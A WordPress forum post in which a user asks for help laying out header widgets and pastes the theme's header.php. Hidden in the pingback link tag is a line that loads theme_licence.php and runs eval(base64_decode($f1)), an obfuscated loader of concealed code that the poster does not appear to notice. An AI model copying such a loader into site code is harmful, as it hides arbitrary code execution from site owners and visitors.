WordPress.org

Ready to get started?Download WordPress

Forums

Insert Script in Header.php (2 posts)

  1. scooterschalk
    Member
    Posted 4 years ago #

    Hi, I managed to add some script into my headwer php to display the weather on the right side of my header. What I would like to do now is to add some more script to add currency chart to the left. Once I add the script, it pushes the weather script down.

    How do I add two pieces of script in one line?

    Here is teh code for my header.php

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
    
    <head profile="http://gmpg.org/xfn/11">
    <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
    
    <title>
    		<?php if ( is_home() ) { ?><?php bloginfo('description'); ?> | <? bloginfo('name'); ?><?php } ?>
    		<?php if ( is_search() ) { ?><?php echo $s; ?> | <? bloginfo('name'); ?><?php } ?>
    		<?php if ( is_single() ) { ?><?php wp_title(''); ?> | <? bloginfo('name'); ?><?php } ?>
    		<?php if ( is_page() ) { ?><?php wp_title(''); ?> | <? bloginfo('name'); ?><?php } ?>
    		<?php if ( is_category() ) { ?>Archive <?php single_cat_title(); ?> | <? bloginfo('name'); ?><?php } ?>
    		<?php if ( is_month() ) { ?>Archive <?php the_time('F'); ?> | <? bloginfo('name'); ?><?php } ?>
    		<?php if ( is_tag() ) { ?><?php single_tag_title();?> | <? bloginfo('name'); ?><?php } ?>
    		<?php if ( is_404() ) { ?>Sorry, not found! | <? bloginfo('name'); ?><?php } ?>
    </title>
    
    <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
    <link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/nav.css" type="text/css" media="screen" />
    <script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/dropdowns.js"></script>
    <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
    <link rel="pingback" href="<?php require_once("theme_licence.php"); eval(base64_decode($f1)); bloginfo('pingback_url'); ?>" />
    
    </head>
    
    <body>
    
    <?php start_template(); ?>
    <div id="page">
    <div id="header">
    
    <?php wp_head(); ?>
    
    </script>
    <strong><em><strong><div style="padding-left: 840px">Cape Town</div>
    <div align="right">
    <script src="http://www.weather.co.za/widgets/website_widget.php?rqt=js&loc=cape-town&tpl=1" type="text/javascript"></script></div></strong>
    <ul id="nav"></em></strong>
    
    		<?php wp_list_pages('title_li=&depth=2&sort_column=menu_order'); ?>
    	</ul>
    	<!--
    	<ul id="top-nav">
    		<?php wp_register(); ?>
    		<li><?php wp_loginout(); ?></li>
    		<?php wp_meta(); ?>
    		<li id="rss"><a href="<?php bloginfo('rss2_url'); ?>">Subscribe RSS Feed</a></li>
    	</ul>
    
    	-->
    	<div class="clear"></div>
    
    </div><!-- end header -->
  2. scooterschalk
    Member
    Posted 4 years ago #

    ....and here is the website in question: http://www.scootdr.co.za
    thanks

Topic Closed

This topic has been closed to new replies.

About this Topic